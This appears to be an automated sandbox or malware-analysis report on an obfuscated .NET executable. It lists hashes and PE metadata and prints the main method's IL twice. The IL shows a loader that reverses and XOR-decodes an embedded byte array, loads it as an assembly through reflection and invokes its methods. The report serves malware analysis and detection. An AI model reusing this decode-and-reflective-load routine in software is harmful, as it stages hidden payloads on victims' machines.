6c1f276b69a3567aa2d0d335ac683344

PE Executable

MD5: 6c1f276b69a3567aa2d0d335ac683344

Size: 1.33 MB

application/x-dosexec

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Symbol Obfuscation Score Very high

MD5	6c1f276b69a3567aa2d0d335ac683344
Sha1	d16ea0311a92f72a6ba1ba0eb3e8c8306d83fcc9
Sha256	d78d47fd0b46c35215d5d3a04a62ddeab1d37d4b7921ca491caa699c9b802f5c
Sha384	759a70b784a62e16f8c23b42e94bbc9a2d59025ce8688f44ca91f8f311a3df8298a7543af9bc65f3201674b8bf682465
Sha512	f3bbd4ab26b6406027342ce8209a781223a81a33495249afd3a97312373c6a1c7d95723204b1d06fcf9f6efea960285c4c603a3cdf8504c9a747e3ab83d368cf
SSDeep	24576:4huhCgk+pfb2M/P0Ckmzd3LXvI3lJACvmkUCK/GyQAXk:I1+pqM/MCkmZbXQ3rXmWJAXk
TLSH	7755E1293BC39648D47EDB34DB76461C07F1E65BC622D36BBA4231ECCA1A34B5412B63

PeID

.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET

Name	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	K_w1aJ0msc
Full Name	K_w1aJ0msc
EntryPoint	System.Void K_w1aJ0msc.Sxr2n6C::Mz5gaZe6Yx4_pi()
Scope Name	K_w1aJ0msc
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	K_w1aJ0msc
Assembly Version	4.15.21.244
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.6
Total Strings	836
Main Method	System.Void K_w1aJ0msc.Sxr2n6C::Mz5gaZe6Yx4_pi()
Main IL Instruction Count	167
Main IL	nop <null> ldstr C:\ProgramData\app_init.flag call System.Boolean System.IO.File::Exists(System.String) ldc.i4.0 <null> ceq <null> stloc.0 <null> ldloc.0 <null> brfalse.s IL_0029: nop ldstr C:\ProgramData\app_init.flag ldstr 1 call System.Void System.IO.File::WriteAllText(System.String,System.String) nop <null> call System.Void System.Windows.Forms.Application::Exit() nop <null> nop <null> nop <null> call System.Void System.Windows.Forms.Application::EnableVisualStyles() nop <null> ldc.i4.0 <null> call System.Void System.Windows.Forms.Application::SetCompatibleTextRenderingDefault(System.Boolean) nop <null> nop <null> ldnull <null> stloc.1 <null> ldloc.1 <null> ldnull <null> ldstr GetDefault ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) stloc.2 <null> leave.s IL_0066: nop dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0066: nop nop <null> nop <null> ldc.i4.s 20 call System.Void System.Threading.Thread::Sleep(System.Int32) nop <null> call System.Byte[] K_w1aJ0msc.0Hgrj1zSqG2rP::Hi9enYj5rz8WM() call System.Collections.Generic.IEnumerable`1<System.Byte> System.Linq.Enumerable::Reverse<System.Byte>(System.Collections.Generic.IEnumerable`1<System.Byte>) call System.Byte[] System.Linq.Enumerable::ToArray<System.Byte>(System.Collections.Generic.IEnumerable`1<System.Byte>) stloc.s V_4 ldloc.s V_4 ldlen <null> conv.i4 <null> ldc.i4.1 <null> sub.ovf <null> stloc.s V_8 ldc.i4.0 <null> stloc.s V_9 br.s IL_00B4: ldloc.s V_9 ldloc.s V_9 ldc.i4.s 9 rem <null> ldc.i4.0 <null> ceq <null> stloc.s V_10 ldloc.s V_10 brfalse.s IL_00AD: nop ldloc.s V_4 ldloc.s V_9 ldloc.s V_4 ldloc.s V_9 ldelem.u1 <null> ldc.i4 243 xor <null> stelem.i1 <null> nop <null> nop <null> ldloc.s V_9 ldc.i4.1 <null> add.ovf <null> stloc.s V_9 ldloc.s V_9 ldloc.s V_8 ble.s IL_008E: ldloc.s V_9 ldloc.s V_4 call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) stloc.s V_5 ldloc.s V_5 callvirt System.Type[] System.Reflection.Assembly::GetTypes() stloc.s V_6 ldloc.s V_6 ldlen <null> conv.i4 <null> ldc.i4.s 24 cgt <null> ldc.i4.0 <null> ceq <null> stloc.s V_11 ldloc.s V_11 brfalse.s IL_00DF: ldloc.s V_6 leave.s IL_015E: ret ldloc.s V_6 ldc.i4.s 24 ldelem.ref <null> stloc.s V_7 ldloc.s V_7 ldnull <null> ceq <null> stloc.s V_12 ldloc.s V_12 brfalse.s IL_00F3: ldloc.s V_7 leave.s IL_015E: ret ldloc.s V_7 ldc.i4.s 56 callvirt System.Reflection.MethodInfo[] System.Type::GetMethods(System.Reflection.BindingFlags) stloc.s V_13 ldc.i4.0 <null> stloc.s V_14 br.s IL_0140: ldloc.s V_14 ldloc.s V_13 ldloc.s V_14 ldelem.ref <null> stloc.s V_15 ldloc.s V_15 callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters() ldlen <null> conv.i4 <null> ldc.i4.0 <null> ceq <null> stloc.s V_16 ldloc.s V_16 brfalse.s IL_0138: nop nop <null> ldloc.s V_15 ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> leave.s IL_0136: nop call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0136: nop nop <null> nop <null> nop <null> nop <null> ldloc.s V_14 ldc.i4.1 <null> add.ovf <null> stloc.s V_14 ldloc.s V_14 ldloc.s V_13 ldlen <null> conv.i4 <null> clt <null> stloc.s V_17 ldloc.s V_17 brtrue.s IL_0103: ldloc.s V_13 leave.s IL_015D: nop call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_015D: nop nop <null> ret <null>
Module Name	K_w1aJ0msc
Full Name	K_w1aJ0msc
EntryPoint	System.Void K_w1aJ0msc.Sxr2n6C::Mz5gaZe6Yx4_pi()
Scope Name	K_w1aJ0msc
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	K_w1aJ0msc
Assembly Version	4.15.21.244
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.6
Total Strings	836
Main Method	System.Void K_w1aJ0msc.Sxr2n6C::Mz5gaZe6Yx4_pi()
Main IL Instruction Count	167
Main IL	nop <null> ldstr C:\ProgramData\app_init.flag call System.Boolean System.IO.File::Exists(System.String) ldc.i4.0 <null> ceq <null> stloc.0 <null> ldloc.0 <null> brfalse.s IL_0029: nop ldstr C:\ProgramData\app_init.flag ldstr 1 call System.Void System.IO.File::WriteAllText(System.String,System.String) nop <null> call System.Void System.Windows.Forms.Application::Exit() nop <null> nop <null> nop <null> call System.Void System.Windows.Forms.Application::EnableVisualStyles() nop <null> ldc.i4.0 <null> call System.Void System.Windows.Forms.Application::SetCompatibleTextRenderingDefault(System.Boolean) nop <null> nop <null> ldnull <null> stloc.1 <null> ldloc.1 <null> ldnull <null> ldstr GetDefault ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) stloc.2 <null> leave.s IL_0066: nop dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0066: nop nop <null> nop <null> ldc.i4.s 20 call System.Void System.Threading.Thread::Sleep(System.Int32) nop <null> call System.Byte[] K_w1aJ0msc.0Hgrj1zSqG2rP::Hi9enYj5rz8WM() call System.Collections.Generic.IEnumerable`1<System.Byte> System.Linq.Enumerable::Reverse<System.Byte>(System.Collections.Generic.IEnumerable`1<System.Byte>) call System.Byte[] System.Linq.Enumerable::ToArray<System.Byte>(System.Collections.Generic.IEnumerable`1<System.Byte>) stloc.s V_4 ldloc.s V_4 ldlen <null> conv.i4 <null> ldc.i4.1 <null> sub.ovf <null> stloc.s V_8 ldc.i4.0 <null> stloc.s V_9 br.s IL_00B4: ldloc.s V_9 ldloc.s V_9 ldc.i4.s 9 rem <null> ldc.i4.0 <null> ceq <null> stloc.s V_10 ldloc.s V_10 brfalse.s IL_00AD: nop ldloc.s V_4 ldloc.s V_9 ldloc.s V_4 ldloc.s V_9 ldelem.u1 <null> ldc.i4 243 xor <null> stelem.i1 <null> nop <null> nop <null> ldloc.s V_9 ldc.i4.1 <null> add.ovf <null> stloc.s V_9 ldloc.s V_9 ldloc.s V_8 ble.s IL_008E: ldloc.s V_9 ldloc.s V_4 call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) stloc.s V_5 ldloc.s V_5 callvirt System.Type[] System.Reflection.Assembly::GetTypes() stloc.s V_6 ldloc.s V_6 ldlen <null> conv.i4 <null> ldc.i4.s 24 cgt <null> ldc.i4.0 <null> ceq <null> stloc.s V_11 ldloc.s V_11 brfalse.s IL_00DF: ldloc.s V_6 leave.s IL_015E: ret ldloc.s V_6 ldc.i4.s 24 ldelem.ref <null> stloc.s V_7 ldloc.s V_7 ldnull <null> ceq <null> stloc.s V_12 ldloc.s V_12 brfalse.s IL_00F3: ldloc.s V_7 leave.s IL_015E: ret ldloc.s V_7 ldc.i4.s 56 callvirt System.Reflection.MethodInfo[] System.Type::GetMethods(System.Reflection.BindingFlags) stloc.s V_13 ldc.i4.0 <null> stloc.s V_14 br.s IL_0140: ldloc.s V_14 ldloc.s V_13 ldloc.s V_14 ldelem.ref <null> stloc.s V_15 ldloc.s V_15 callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters() ldlen <null> conv.i4 <null> ldc.i4.0 <null> ceq <null> stloc.s V_16 ldloc.s V_16 brfalse.s IL_0138: nop nop <null> ldloc.s V_15 ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> leave.s IL_0136: nop call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0136: nop nop <null> nop <null> nop <null> nop <null> ldloc.s V_14 ldc.i4.1 <null> add.ovf <null> stloc.s V_14 ldloc.s V_14 ldloc.s V_13 ldlen <null> conv.i4 <null> clt <null> stloc.s V_17 ldloc.s V_17 brtrue.s IL_0103: ldloc.s V_13 leave.s IL_015D: nop call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_015D: nop nop <null> ret <null>

No malware configuration was found at this point.

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